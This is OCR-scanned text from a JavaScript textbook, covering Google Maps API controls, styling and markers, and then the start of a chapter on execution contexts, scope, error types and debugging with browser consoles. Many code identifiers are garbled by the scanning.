A thumbnail showing a larger area, that reflects where 
the current map is within that wider area (not shown) 

On when map is 
collapsed, e,g*, street view 
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GOOGLE MAP WITH 
CUSTOM CONTROLS 


APPEARANCE OF CONTROLS 

To alter the appearance and position of map 
controls, you add to the mapOptions object, 

1, To show or hide a control, the key is the name of 
the control, and the value is a Boolean (true will 
show the control; f al se will hide it). 


JAVASCRIPT 


var mapOptions = { 


POSITION OF THE CONTROL 

2. Each control has its own options object used to 
control its style and position. The word Opti ons 
follows the control name, e.g., zoomControl Options. 
Styles are discussed below. The diagram on the left- 
hand page shows options for the posi ti on property. 

c09/j s/googl e-map-control s . js 


zoom: 14, 

center: new googl e.maps, LatLng(4Q. 782710, -73. 965310) , 
maplypeld: google. maps. MapTypeld. ROADMAP, 

© panControl : false, 

© zoomControl: true, 

zoomControl Opti ons : { 

© style: googl e. maps .ZoomControl Styl e, SMALL, 

(D position: google. maps. Control Post t ion. TOP RIGHT 

}, 

© mapTypeControl : true, 

mapTypeControl Options : { 

© styl e: googl e. maps. MapTypeControl Style. DROPDOWNMENU, 
( 2 ) position: googl e. maps .Control Position .TOP LEFT 

k 

© seal eControl : true, 

seal eControlOptions: { 

( 2 ) position: google. maps. Control Positi on. TOPt ENTER 

h 

© streetViewControl : false, 

© overviewMapControl : false 

k 


STYLE OF MAP CONTROLS 

3. You can change the appearance of the zoom and map type controls using the following options: 
zoomControl Style: MapTypeControl Style: 

SMALL Small +/■ buttons HORIZQNTAL_ESAR Buttons side-by-side 

LARGE Vertical slider DROPD0WN_MENU Dropdown select box 

DEFAULT The default for that device DEFAULT The default for that device 
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STYLING A GOOGLE MAP 


To style the map you need to specify three things: 

* f eaturetypes; the map feature you want to style: 
e.g., roads f parks, waterways, public transport. 

* el ementlypes: the part of that feature you want 
to style, such as its geometry (shapes) or labels. 

* stylers: properties that allow you to adjust the 
color or visibility of Items on the map. 

The styles property in the mapOptions object sets 
the map style. It's value is an array of objects. 

Each object affects a different feature fo the map. 


The first stylers property alters the colors of the 
map as a whole. It, too, contains an array of objects. 

• hue property adjusts color, its value is a hex code 

• lightness or saturation can take a value from 
-100 to 100 

Then each feature that shows up or) the map can 
have its own object, and its own styl ers property. 

In it r the vi si bi 1 1 ty property can have three values: 

• on to show the feature type 

• off to hide it 

• simpl i fled to show a more basic version 


c09/js/googl e-map-styled Js 

styles: [ 

{ 

stylers: [ 

{ hue: "#00ff6f" ), 

{ saturation: -50 } 

] 

}. { 

featureType: "road 11 , 
elementType: “geometry", 
stylers: [ 

{ lightness: 100 }, 

{ visibility: "simplified" } 

] 

}. { 

featureType: "transit", 
elementType: “geometry", 
stylers: [ 

{ hue: "#ff6600 " }, 

{ saturation: +80 } 

] 

}, { 

featureType: "transit", 
elementType: "labels", 
stylers: [ 

{ hue: "#ff0066" }, 

{ saturation: +80 } 

] 

} ... 


JAVASCRIPT 


// styles property is an array of objects 

// stylers property holds array of objects 
// Overall map colors 
// Overall map saturation 


// Road features 
// Their geometry (lines) 

// Lightness of roads 
// Level of road detail 


// Public transport features 
// Their geometry (lines) 

// Color of public transport 
// Saturation of public transport 


// Public transport features 
// Their labels 

// Label color 
// Label saturation 

// More stylers shown in the code download 
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ADDING MARKERS 


Here you can see how to add a marker to a map. The 
map has been created, and its name is venueMap. 

1 Create a bating object to store the position of the 
marker using object constructor syntax. Below that 
object is called pi n Location. 

2 . The Marker () constructor creates a marker 
object. It has one parameter: an object that contains 
settings using object literal notation. 


The setti ngs object contains three properties: 

3* position is the object storing the location of the 
marker (pi nLocati on), 

4. map is the map that the marker should be added to 
(because a page can have more than one map). 

5* i con is the path to the image that should be 
displayed as the marker on the map (this should be 
provided relative to the HTML page). 


JAVASCRIPT 


c09/j$/googl e-map-sty] ed Js 


© var pinLocation = new googl e. maps. LatLng(40. 782710, -73.965310) ; 


© var startPosi tion = new google. maps. Marker {{ // Create a new marker 


(D position: pinLocation, 
© map: venueMap, 

© icon: " i mg/go. png" 

}); 


// Set its position 
// Specify the map 
// Path to image from HTML 


RESULT 



THE MAKER. BUS 
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Central p-ark 

New York, NY 10019 






SUMMARY 


APIS 



I 



APIs are used in browsers, scripts, and by websites 
that share functionality with other programs or sites. 

APIs let you write code that will make a request, 
asking another program or script to do something. 

APIs also specify the format in which the response will 
be given (so that the response can be understood). 

To use an API on your website, you will need to include 
a script in the relevant web pages. 

An API’s documentation will usually feature tables of 
objects, methods, and properties. 

Providing you know how to create an object and call 
its methods, access its properties, and respond to its 
events, you should be able to learn any JavaScript API. 




B 


APIS 




ERROR 
HANDLING 
& DEBUGGING 



JavaScript can be hard to learn and everyone makes 
mistakes when writing it. This chapter will help you learn 
how to find the errors in your code. It will also teach you how 
to write scripts that deal with potential errors gracefully. 

When you are writing JavaScript, do not expect to write it perfectly the first time. 
Programming is like problem solving: you are given a puzzfe and not only do you have to solve 
it, but you also need to create the instructions that allow the computer to solve it, too. 

When writing a long script, nobody gets everything right in their first attempt. The error 
messages that a browser gives look cryptic at first, but they can help you determine what 
went wrong in your JavaScript and how to fix it In this chapter you will learn about: 

THE CONSOLE & COMMON HANDLING 

DEV TOOLS PROBLEMS ERRORS 

Tools built into the browser Common sources of errors, How code can deal with 

that help you hunt for errors, and how to solve them. potential errors gracefully. 
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ERROR HANDLING & DEBUGGING 







ORDER OF EXECUTION 


To find the source of an error, it helps to know how scripts are processed. 
The order in which statements are executed can be complex; some tasks 
cannot complete until another statement or function has been run: 


function greetUserO { 
return 'Hello 1 +getNaroe(); 

1 


function getName{) { 
var name = 'Molly': 
return name; 

} 


0 var greeting s greetUserO; 
0 al ert (greeting) ; 


This script above creates a greeting message, then 
writes it to an alert box (see right-hand page). In 
order to create that greeting, two functions are used: 
greetUserO and getName(). 

You might think that the order of execution (the 
order in which statements are processed) would be 
as numbered: one through to four However it is a 
little more complicated. 

To complete step one, the interpreter needs the 
results of the functions in steps two and three 
(because the message contains values returned by 
those functions). The order of execution is more tike 
this: 1,2, 3, 2,1 4, 


1. The greeti ng variable gets its value from the 
greetUserO function. 

2* greetUserO creates the message by combining 
the string ’Hello f with the result of getName ( ) , 

3. getName {) returns the name to greet User (). 

2. greetUserO now knows the name, and combines 
it with the string. It then returns the message to the 
statement that called it in step 1. 

1, The value of the greeti ng is stored in memory. 

4. This greet i ng variable is written to an alert box. 
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EXECUTION CONTEXTS 


The JavaScript interpreter uses the concept of execution contexts. 
There is one global execution context; plus, each function creates a new 
new execution context. They correspond to variable scope. 



EXECUTION CONTEXT 

Every statement in a script lives in one of three 
execution contexts: 

O GLOBAL CONTEXT 

Code that is in the script, but not in a function. 
There is only one global context in any page. 

FUNCTION CONTEXT 

Code that is being run within a function. 

Each function has its own function context. 

O EVAL CONTEXT (NOT SHOWN) 

Text is executed like code in an internal function 
cailed eval () (which is not covered in this book). 


VARIABLE SCOPE 

The first two execution contexts correspond with the 
notion of scope (which you met on p98): 

O GLOBAL SCOPE 

If a variable is declared outside a function, it can 
be used anywhere because it has global scope. 

If you do not use the var keyword when creating 
a variable, it is placed in global scope. 

FUNCTION-LEVEL SCOPE 

When a variable is declared within a function, 
it can only be used within that function. This is 
because it has function-level scope. 
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THE STACK 


The JavaScript interpreter processes one line of code at a time. 
When a statement needs data from another function, it stacks 
(or piles) the new function on top of the current task. 


When a statement has to call 
some other code in order to do 
its job, the new task goes to the 
top of the pile of things to do. 


Once the new task has been 
performed, the interpreter can 
go back to the task in hand. 

Each time a new item is added 
to the stack, it creates a new 
execution context. 

Variables defined in a function 
(or execution context) are only 
available in that function. 

If a function gets called a 
second time, the variables 
can have different values. 

You can see how the code that 
you have been looking at so far 
in this chapter wilt end up with 
tasks being stacked up on each 
other in the diagram to the right. 

(The code is shown at the top of 
the right-hand page.) 


Creates greeting 
variable and calls 
greetUserQ to get 
the value 


L 


greetUser() returns 
1 Hel 1 o ' and the 
result of getName() 


Waiting... 


J 


The value for the greeting 
variable is obtained by calling 
the greetUser() function* So 
the variable cannot be assigned 
until the greetllser() function 
has done its job. 


The statement is effectively put 
on hold, and the greetUserO 
task gets stacked on top it. 

In turn, the greettlser () 
function cannot return a value 
until the getNameQ function 
has completed /ts task. 
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1 


So, getNameO h stacked on top Since get Name {) has done its The greetUser () function 

of the greetUser () function, job, it is removed from the has finished its work and it is 

You can see the stack starting to stack. !n turn, the greetUser () removed from the stack and the 

build up. When getName{) has function can now finish its value is finally assigned to the 

done its job, a value is returned job and return a value to the greeting variable, 

back to the greetUser () greeting variable, 

function. 







EXECUTION CONTEXT 
& HOISTING 


Each time a script enters a new execution context, there are two phases 
of activity: 


1: PREPARE 


2: EXECUTE 


• The new scope is created 

• Variables, functions, and arguments are created 
m The value of the this keyword is determined 


• Now it can assign values to variables 

• Reference functions and run their code 

• Execute statements 


Understanding that these two phases happen helps 
with understanding a concept called hoisting. You 
may have seen that you can: 

• Cali functions before they have been declared 

(if they were created using function declarations 
- not function expressions, see p96) 

• Assign a value to a variable that has not yet been 
declared 

This is because any variables and functions within 
each execution context are created before they are 
executed. 

The preparation phase is often described as taking 
all of the variables and functions and hoisting them 
to the top of the execution context, Or you can think 
of them as having been prepared. 

Each execution context also creates its own 
vari abl es object. This object contains details of all 
of the variables, functions, and parameters for that 
execution context. 


You may expect the following to fail, because 
greetUserf) is called before it has been defined: 

var greeting = greetUserf); 
function greetUserf) { 

// Create greeti ng 

i 

It works because the function and first statement are 
in the same execution context, so it is treated like this: 

function greetUserf) { 

// Create greeting 

1 

var greeting = greetUserf); 

The following would would fail because greetUserf) 
is created within the getName { ) function's context: 
var greeting = greetUserf); 
function getNamef) { 
function greetUserf) { 

// Create greeting 

} 

// Return name with greeting 

} 
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UNDERSTANDING 

SCOPE 


In the interpreter, each execution context has its own vari abl es object, 
It holds the variables, functions, and parameters available within it. 

Each execution context can also access its parent's variables object. 


Functions in JavaScript are said to have lexical scope. 
They are linked to the object they were defined within. 
So, for each execution context the scope is the 
current execution context's vari abl es object plus the 
vari abl es object for each parent execution context. 


Imagine that each function Is a nesting dofL 
The children can ask the parents for information in 
their variables. But the parents cannot get variables 
from their children. Each child will get the same 
answer from the same parent. 


var greeting = (functionQ { 
var d = new Date{}; 
var time - d.getHoursQ; 
var greeting = greetUser{); 


function greetU$er() { 
if (time < 12) { 
var msg = ‘Good morning 1 ; 
} else { 

var msg - Welcome 1 ; 

} 

return = msg + getNameQ; 


function getName() { 
var name - ‘Molly 1 ; 
return name; 

} 


} 


}); 

alert(greeting) ; 


If a variable is not found in the variables object 
for the current execution context, it can look in the 
vari abl es object of the parent execution context. 
But It is worth knowing that looking further up the 
stack can affect performance, so ideally you create 
variables inside the functions that use them. 

If you look at the example on the left, the inner 
functions can access the outer functions and their 
variables. For example, the greettlser() function 
can access the time variable that was declared in the 
outer greeting {} function. 

Each time a function is called, it gets its own 
execution context and vari abl es object. 

Each time an outer function calls an inner function, 
the inner function can have a new variables object. 
But variables in the outer function remain the same. 

Note: you cannot access this vari abl es object from 
your code; it is something the interpreter is creating 
and using behind the scenes. But understanding 
what goes on helps you understand scope, 
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UNDERSTANDING ERRORS 


If a JavaScript statement generates an error, then it throws an exception. 
At that point, the interpreter stops and looks for exception-handling code. 


If you are anticipating that something in your code 
may cause an error, you can use a set of statements 
to handle the error (you meet them on p480). 

This is important because if the error is not handled, 
the script will just stop processing and the user will 
not know why. So exception-handling code should 
inform users when there is a problem. 


Whenever the interpreter comes across an error, 
it will look for error-handling code. In the diagram 
below, the code has the same structure as the code 
you saw in the diagrams at the start of the chapter 
The statement at step 1 uses the function in step 2 , 
which in turn uses the function in step 3. Imagine 
that there has been an error at step 3. 


function greetllserQ { 

// Interpreter looks here 

} 


function getName() { 

// Imagine this had an error 
// It was caused by greetUser() 

1 


O var greeting = greetUserQ; 
O alert (greeting); 


When an exception is thrown, the interpreter 
stops and checks the current execution context for 
exception- handling code. So if the error occurs in the 
getNamef) function (3), the interpreter starts to look 
for error handling code in that function. 

If an error happens in a function and the function 
does not have an exception handler, the interpreter 
goes to the line of code that called the function. 

In this case, the getName() function was called by 
greetUserQ, so the interpreter looks for exception- 
handling code in the greetUserf} function (2). 

If none is found, it continues to the next level, 
checking to see if there is code to handle the error 
in that execution context. It can continue until it 
reaches the global context, where it would have to it 
terminate the script, and create an Error object. 


So it is going through the stack fooking for error- 
handling code until it gets to the global context. 
If there is still no error handler, the script stops 
running and the Error object is created. 
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ERROR OBJECTS 


Error objects can help you find where your mistakes are 
and browsers have tools to help you read them. 


When an Error object is created, it will contain the 
following properties: 


PROPERTY DESCRIPTION 


name 

Type of execution 

message 

Description 

fileNumber 

Name of the JavaScript file 

] i neNumber 

Line number of error 


When there is an error, you can see all of this 
information in the JavaScript console / Error console 
of the browser. 

You will learn more about the console on p464, but 
you can see an example of the console in Chrome in 
the screen shot below. 


There are seven types of built-in error objects in 
JavaScript, You'll see them on the next two pages: 


OBJECT 

DESCRIPTION 

Error 

Generic error - the other errors 
are all based upon this error 

SyntaxError 

Syntax has not been followed 

ReferenceError 

Tried to reference a variable that is 
not declared/within scope 

TypeError 

An unexpected data type that 
cannot be coerced 

RangeError 

Numbers not In acceptable range 

URIError 

encodeURI (), decodeURl (), and 
similar methods used incorrectly 

Eva! Error 

eval () function used incorrectly 


Q. 

Elements Network Sources Timeline Profiles Resources Audits 1 Console | 0 1 

>= * iB,* 

S> 

'y <top framo w 


0 Uncaught SyntaxErron Unexpected token ILLEGAL 

errors. is:4 

> 

A 

A 


1, In the red on the left, you can see this is a 2 * On the right, you can see that the error happened 

SyntaxError. An unexpected character was found. in a file called errors , js on line 4, 
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ERROR OBJECTS 
CONTINUED 


Please note that these error messages are from the Chrome browser Other browsers' error messages may vary. 


SyntaxError 

SYNTAX IS NOT CORRECT 

This is caused by incorrect use of the rules of the 

language. It is often the result of a simple typo. 

MISMATCHING OR UNCLOSED QUOTES 

document , wri te ( "Howdy Q ) ; 

SyntaxError: Unexpected EOT 

MISSING CLOSING BRACKET 

document .get El ementBy Id ( 1 page 1 ( 

SyntaxError: Expected token ')' 

MISSING COMMA IN ARRAY 

Would be same for missing ] at the end 

var list = ['Item l\ ‘Item 2'1'Item 3 1 ]; 

SyntaxError: Expected token “] J 

MALFORMED PROPERTY NAME 

It has a space but is not surrounded by quote marks 
user = {first|name: "Ben", lastName: "Lee"}; 

SyntaxError: Expected an identifier but 
found 'name' instead 


ReferenceError 

VARIABLE DOES NOT EXIST 

This is caused by a variable that is not declared or is 

out of scope. 


VARIABLE IS UNDECLARED 


var width * 12; 
var area = width * 


height 


ReferenceError: Can't find variable: 
height 


NAMED FUNCTION IS UNDEFINED 


document. write{ 


randomFunetionO 


); 


ReferenceError: Can't find variable: 
randomFunction 


Eval Error 

INCORRECT USE OF evalQ FUNCTION 
The eval () function evaluates text through the 
interpreter and runs it as code (it is not discussed 
in this book). It is rare that you would see this type 
of error, as browsers often throw other errors when 
they are supposed to throw an Eval Error. 


URIError 

INCORRECT USE OF UR1 FUNCTIONS 

tf these characters are not escaped in URIs, they will 
cause an error: / ? & t : ; 

CHARACTERS ARE NOT ESCAPED 

decodeURI ( 1 http://bbc .com/news .php0a=l 1 ) ; 

URTError: URI error 
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These two pages show JavaScript's seven different types of error objects 
and some common examples of the kinds of errors you are likely to see. 
As you can teli, the errors shown by the browsers can be rather cryptic. 


TypeError 

VALUE IS UNEXPECTED DATA TYPE 
This is often caused by trying to use an object or 
method that does not exist. 


RangeError 

NUMBER OUTSIDE OF RANGE 

If you call a function using numbers outside of its 

accepted range. 


INCORRECT CASE FOR document OBJECT 
Qocument .write (’Oops 1 ') ; 

TypeError: 'undefined 1 is not a function 
(evaluating 'Document .write { ' Oops l 1 ) 1 ) 


CANNOT CREATE ARRAY WITH -1 ITEMS 

var anArray = new Array(H); 

RangeError: Array size is not a small 
enough positive integer 


INCORRECT CASE FOR writef) METHOD 

document . 0 ri te ( ' Oops ! ' ) ; 

TypeError: 1 undefined' is not a function 
(evaluating 'document. Wri te( ’Oops! 1 ) 1 ) 


METHOD DOES NOT EXIST 


var box = {}; 
box . I 


getAreaf) 


// Create empty object 
// Try to access getArea() 


TypeError: 'undefined 1 Is not a function 
(evaluating 'box.gefAreaO ') 


DOM NODE DOES NOT EXIST 

var el = document.getElementByldf^J) ; 

ehinnerHTML ^ * Mango 1 ; 

TypeError: ‘null 1 is not an object 
(evaluating 'el .innerHTML = ’Mango' 1 ) 


NUMBER OF DIGITS AFTER DECIMAL IN 
toFixedO CAN ONLY BE 0-20 

var price = 9.99; 

price. toFixed(^) ; 

RangeError: toFixed{) argument must be 
between 0 and 20 

NUMBER OF DIGITS IN toPreci sion{) CAN 
ONLY BE 1-21 

num - 2.3456; 

num. toPreci si on (^) ; 

RangeError: toPreci si on () argument must 
be between 1 and 21 


Error 

GENERIC ERROR OBJECT 

The generic Error object is the template (or 

prototype) from which all other error objects are 

created. 


NaN 

NOT AN ERROR 

Note: If you perform a mathematical operation using 
a value that Is not a number, you end up with the 
value of NaN, not a type error. 


NOT A NUMBER 

var total = 3 * 
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HOW TO DEAL WITH 
ERRORS 


Now that you know what an error is and how the browser treats them, 
there are two things you can do with the errors. 


1: DEBUG THE SCRIPT TO FIX ERRORS 

if you come across an error while writing a script 
(or when someone reports a bug), you will need to 
debug the code, track down the source of the error, 

and fix it. 

You will find that the developer tools available in 
every major modern browser will help you with 
this task. In this chapter, you will learn about the 
developer tools in Chrome and Firefox, (The tools in 
Chrome are identical to those in Opera.) 

IE and Safari also have their own tools (but there is 
not space to cover them alt). 


2: HANDLE ERRORS GRACEFULLY 

You can handle errors gracefully using try, catch, 
throw, and finally statements. 

Sometimes, an error may occur in the script for a 
reason beyond your control. For example, you might 
request data from a third party, and their server 
may not respond. In such cases, it is particularly 
important to write error-handling code. 

In the latter part of the chapter, you will learn how to 
gracefully check whether something will work, and 
offer an alternative option if it fails. 
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A DEBUGGING 
WORKFLOW 


Debugging is about deduction: eliminating potential causes of an error. 
Here is a workflow for techniques you will meet over the next 20 pages. 
Try to narrow down where the problem might be, then look for clues. 


WHERE IS THE PROBLEM? 

First, should try to can narrow down the area where 
the problem seems to be. In a long script, this is 
especially important. 

1. Look at the error message, tt tells you: 

• The relevant script that caused the problem. 

• The line number where it became a problem for 
the interpreter (As you will see, the cause of 
the error may be earlier in a script; but this is the 
point at which the script could not continue.) 

• The type of error (although the underlying cause 
of the error may be different). 

2. Check how far the script is running. 

Use tools to write messages to the console to tell 
how far your script has executed. 

3. Use breakpoints where things are going wrong. 
They let you pause execution and inspect the values 
that are stored In variables, 


If you are stuck on an error, many programmers 
suggest that you try to describe the situation (talking 
out loud) to another programmer. Explain what 
should be happening and where the error appears 
to be happening. This seems to be an effective way 
of finding errors in all programming languages. (If 
nobody else is available, try describing it to yourself.) 


WHAT EXACTLY IS THE PROBLEM? 

Once you think that you might know the rough area 
in which your problem is located, you can then try to 
find the actual line of code that is causing the error. 

1, When you have set breakpoints, you can see if the 
variables around them have the values you would 
expect them to. If not, look earlier in the script, 

2, Break down / break out parts of the code to test 
smaller pieces of the functionality. 

• Write values of variables into the console. 

• CalLf unctions from the console to check if they 
are returning what you would expect them to, 

• Check if objects exist and have the methods / 
properties that you think they do, 

3, Check the number of parameters for a function, or 
the number of items in an array. 

And be prepared to repeat the whole process if the 
above solved one error just to uncover another,. , 

If the problem is hard to find, it is easy to lose track 
of what you have and hove not tested. Therefore, 
when you start debugging, keep notes of what you 
have tested and what the result was. No matter 
how stressful the circumstances are, if you can, 
stay calm and methodical, the problem will feel less 
overwhelming and you will solve it faster. 
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BROWSER DEV TOOLS & 
JAVASCRIPT CONSOLE 


The JavaScript console will tell you when there is a problem with a script, 
where to look for the problem, and what kind of issue it seems to be. 


These two pages show instructions for opening the Browser manufacturers occasionally change how 

console in all of the main browsers (but the rest of to access these tools. If they are not where stated, 

this chapter will focus on Chrome and FirefoxX search the browser help files for "console/ 1 


CHROME /OPERA 

On a PC, press the F12 key or: 

1. Go to the options menu (or three tine menu icon) 

2. Select Tools or Afore tools. 

3. Select JavaScript Console or Developer Tools 
On a Mac press Alt + Cmd + J. Or: 

4. Go to the View menu. 

5. Select Developer 

6. Open the JavaScript Console or Developer Tools 

option and select Console. 



INTERNET EXPLORER 

Press the F12 key or: 

1. Go to the settings menu in the top-right. 

2 . Select developer tools 
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The JavaScript console is just one of several developer tools that are 
found in all modern browsers. 


When you are debugging errors, it can help if you 
look at the error in more than one browser as they 
can show you different error messages. 


If you open the errors .html file from the sample 
code in your browser, and then open the console, 
you will see an error is displayed. 



Page 


P&Cfe I nidi S3! 

Start Private Browsing DXP 
Clear Rtrenl History... DXO 


DOW Inspector OJIt 


Get More Tools 


Web Developer 


FIREFOX 

On a PC r press Ctrf + Shift + K or: 

1. Go to the Firefox menu, 

2. Select Web Developer. 

3. Open the Web Console , 

On a Mac press Ait + Cmd + K. Or: 

1. Go to the Too/s menu. 

2. Select Web Developer. 

3. Open the Web Console. 


History 



Help 


Open Page With 

► 

User Agent 

► 

Hide Web inspector 

XXI 

Show &ror Console 

xxc 

Show Page Source 

■CXU 

Show Page Resources 

XXA 

Show Snippet Editor 

Show Extension Guilder 


Start Profiling JavaScript 

XfrXP 

Start Timeline Recording 

XVXT 

Empty Caches 

Disable Caches 

XXI 

Disable Images 

Disable Styles 



1 


SAFARI 

Press Alt + Cmd + C or: 

1. Go to the Develop menu. 

2. Select Show Error Conso/e. 

If the Develop menu is not shown: 

1. Go to the Safari menu, 

2, Select Preferences. 

3. Select Advanced. 

4, Check the box that says “Show De velop menu in 
menu bar " 
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HOW TO LOOK AT ERRORS 
IN CHROME 


The console will show you when there is an 
error in your JavaScript. It also displays the line 
where it became a problem for the interpreter. 


^ ^ [j JavaScript &j Query - Cha, x . 


CD javastriptbook. com/ code/c 10/ errors.html 



Elements Network Sources Timeline Profifes Resources Audits 
® V <*op frame > ▼ 

O Uncaught SyntaxError: Unexpected token ILLEGAL 


© 



1. The Conso/e option is selected. 
2> The type of error and the error 
message are shown in red. 

3. The file name and the line 
number are shown on the 
right-hand side of the console. 


Note that the line number does 
not always indicate where the 
error is. Rather, it is where the 
interpreter noticed there was a 
problem with the code. 


If the error stops JavaScript from 
executing, the console will show 
only one error - there may be 
more to troubleshoot once this 
error is fixed. 
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HOW TO LOOK AT ERRORS 

IN FIREFOX 


JavaScript AJQuery - Chapter 10: Error Handling & Debugging - Console Errors 

1 


§oo 


□ JavaScript AJQuery - CKapter 1 


( M Javascriptbookxom. cotfe/clO/errors.hTrr^ 


5^1 



* ri tH tl 1 y Console Inspector (H) Debugger Hf Style Editor jZJ rr 

2 2 

Net • CSS ▼ • JS * Security * • Logging * Clear Fitter output 


* SyntuxError; illegal character 

© 


errors. js:4 

o 


» 


1. The Gmsote option is sefeeted. 

2, Only the JavaScript and 
Logging options need to be 
turned on. The Net> CSS, and 
Security options show other 
Information, 


3. The type of error and the error 
message are shown on the left. 

4. On the right-hand side of the 
console, you can see the name 
of the JavaScript file and the line 
number of the error. 


Note that when debugging any 
JavaScript code that has been 
minified, it will be easier to 
understand if you expand it first. 
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TYPING IN THE CONSOLE 
IN CHROME 


You can also just type code into the console 
and it will show you a result. 



.• © ® ' □ JavaScrtpi 4 jQuery - Ch&i * 


<- -> C [j javascriptbook.com/code/clO/ 


a* 




JM6L 


Find the area of a wall: 


width 


X height 


Calculate area 


Elements Network Sources Timeline Profiles Resources Audits I Console X= lH S * 


Q < top frames ▼ 

> width = 3; 

3 

> height = 5j 
5 

> area = width * height; 
15 

> 


Above, you can see an example 
of JavaScript being written 
straight into the console. This 
is a quick and handy way to test 
your code. 


Each time you write a line, the 
interpreter may respond. Here, 
it is writing out the value of each 
variable that has been created. 


Any variable that you create in 
the console will be remembered 
until you dear the console. 

1. In Chrome, the no-entry sign is 
used to clear the console. 


(468 ERROR HANDLING & DEBUGGING 






TYPING IN THE CONSOLE 

IN FIREFOX 



JavaScript & jQuery - Chapter 10: Error Handling & Debugging 


JavaScript & JQuery - Chapter 1, 


1 1 Eh Go °9 le 


width 


££ y Console Inspector if' Debugger Pf Style Editor 



Net - • CSS - • 


* width = 3; 

► 3 

« height = 5; 

► 5 

* area = width * height; 

* 15 


» 


JS 


Security ▼ • Logging ▼ 


Clear -■ Filter output 


1. In F I refox, the C/ear button will 
dear the contents of the console. 


This telfs the interpreter that it 
no longer needs to remember 
the variables you have created. 


2. The left and right arrows show 
which lines yew have written, and 
which are from the interpreter. 
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WRITING FROM THE 
SCRIPT TO THE CONSOLE 


Browsers that have a console have a consol e object, which has several 
methods that your script can use to display data in the console. 

The object is documented in the Console API. 


ftjS^j CDl»»Scrl pf ftjQuery - Ch&i x 


4* CD javascriptbook,com/code/clO/console-[og*html 


Elements Network Sources Timeline Profiles Resources Audits Console 

® <top frame > ▼ 

And we 1 re off* ». 

' You entered 3 
You entered 4 
Clicked submit..* 

Width 3 
Weight 4 
12 

> 


et-ft = 



>2 # iP, 


consftIer.laflt-is.il 

console- log . js:6 

con sole- loo. is; 6 

console-log, i si 11 

console- loo J s ; 14 

con sole- log ,, is; 1_7 

console- loo , i s : 20 


1. The console Jog (} method 
can write data from a script 
to the console, if you open 
console-log.html, you will 
see that a note is written to the 
console when the page toads. 


2* Such notes can tell you how 
far a script has run and what 
values it has received. In this 
example, the bl ur event causes 
the value entered into a text 
input to be logged in the console. 


3. Writing out variables lets you 
see what values the interpreter 
holds for them. In this example, 
the console will write out the 
values of each variable when the 
form is submitted. 
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LOGGING DATA 
TO THE CONSOLE 


This example shows several uses 
of the console, log () method, 

1, The first line is used to indicate 
the script is running, 

2. Next an event handler waits 
for the user leaving a text input, 
and logs the value that they 
entered into that form field. 


JAVASCRIPT 


When the user submits the form, 
four values are displayed; 

3. That the user clicked submit 

4. The value in the width input 

5. The value in the height input 

6. The value of the area variable 

They help check that you are 
getting the values you expect. 


The console, log () method 
can write several values to the 
console at the same time, each 
separated by a comma, as shown 
when displaying the height (5). 

You should always remove this 
kind of error handling code from 
your script before you use it on 
a live site. 

clO/js/console-log.js 


(T) console, log ('And weVre off,,,’); // Indicates script is running 

var $form, width* height, area; 

$form = $ { 1 #ca7 cul ator' ) ; 


"$('form input [type="text M ] 1 ) ,on( 1 blur* , function{) 
(|> consol e, log ( 'You entered 1 , this, value }; 

I J) ; 


{ // When input loses focus 
// Write value to console 


S( 'leal cul ator 1 ) ,on( 'submit 1 * function(e) { // When the user clicks submit 

e,preventDefau1t(); // Prevent the form submitting 

(D consol e. 1 og ( '€1 i eked submit,.,'); // Indicate button was clicked 


width = $( ' #width* ) . val {) ; 

( 4 ) consol e, log { 1 Width 1 + width); // Write width to console 

height = $ ( 1 #hei ght 1 ) ,val (); 

(?) console. 1 og ( 'Height ' # height); // Write height to console 


area = width * height; 

(?) consol e. log (area) ; // Write area to console 

$form, append ( '<p>' + area + '</p>') 

}); 
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MORE CONSOLE METHODS 


To differentiate between the 
types of messages you write 
to the console, you can use 
three different methods. They 
use various colors and icons to 
distinguish them. 


1 console. info() can be used 
for general information 

2. consol e.warnQ can be used 
for warnings 

3. console. error () can be used 
to hold errors 


This technique is particularly 
helpful to show the nature of the 
information that you are writing 
to the screen. (In Firefox, make 
sure you have the logging option 
selected.) 


c 10 / j s /con sole -me t hods . j s 


JAVASCRIPT 


(T) console, info ('And we\'re off...'); 


// Info: script running 


var {form, width, height, area; 
$form = {('Icalculator') ; 


a> 


{('form input [type=" text"] ') .on{ 'blur' , functionQ { 
consol e.warn(‘ You entered ', this. value); 

.}); 


// On bl ur event 
// Warn: what was entered 


{('^calculator') .on('submit‘ , function(e) { // When form is submitted 

e.preventDefault() ; 

width = $('#width') .val (); 
height = $ ( ' #hei ght ' ) .val () ; 

area = width * height; 

® consol e. error (area) ; // Error: show area 

{form. append ( 1 <p class="result">' + area + '</p>'); 

I); 


0, Elements Network Sources Timeline Profiles Resources Audits » 

©1 A2 XE $ x 

0 V <top frame > ▼ 


0 And we 1 re of f , . , 

console-methods * I s s 1 

A You entered 12 

console-methods. is:7 

A You entered 14 

console-methods ,.i s : 7 

0 ►168 

> 

console=methods.is:17 
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GROUPING MESSAGES 


1, If you want to write a set of 
related data to the console, you 
can use the console. group () 
method to group the messages 
together You can then expand 
and contract the results. 


It has one parameter; the name 
that you want to use for the 
group of messages, You can 
then expand and collapse the 
contents by clicking next to the 
group's name as shown below. 


2, When you have finished 
writing out the results for the 
group, to indicate the end of the 
group the consol e.groupEnd() 
method is used. 


JAVASCRIPT 


var $form = $ (^calculator’) ; 

$f orm. on (’ submit 1 , function(e) { 
e.preventDefault() ; 
consol e . 1 og { 1 Cl i eked submi t . . . ’ ) ; 

var width, height, area; 
width = $(’#width') .val () ; 
height = $(‘#height') .val (); 
area = width * height; 

(j) consol e. group { 'Area calculations’); 

console. info('Width ', width); 
console. info('Height ’, height); 
console. log(area) ; 

(D consol e.groupEndO; 

$ form. append ('<p>' + area + '</p>'); 

}); 


clO/js/console-group. js 


// Runs when submit is pressed 
// Show the button was clicked 


// Start group 
// Write out the width 
// Write out the height 
// Write out the area 
// End group 


Q Elements Network Sources Timeline 

Profiles Resources Audits i Console 1 X= 

® V <top frame> * 


Clicked submit..* 

console-group, is;5 

? Area calculations 

console-group ■ j s ; 12. 


o Width 12 

console-group.is:13 


O Height 14 

console-arouo. is: 14 


168 

> 

console-group. is: 15 
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WRITING TABULAR DATA 


)n browsers that support it, the 
console*table{) method lets 
you output a table showing: 

• objects 

• arrays that contain other 
objects or arrays 


The example below shows data 
from the contacts object. It 
displays the city, telephone 
number, and country. It is 
particularly helpful when the 
data is coming from a third party. 


The screen shot below shows 
the result in Chrome (it looks the 
same in Opera). Safari wifi show 
expanding panels. At the time 
of writing Firefox and IE did not 
support this method. 


ciO/js/eonsote- tablets 


JAVASCRIPT 


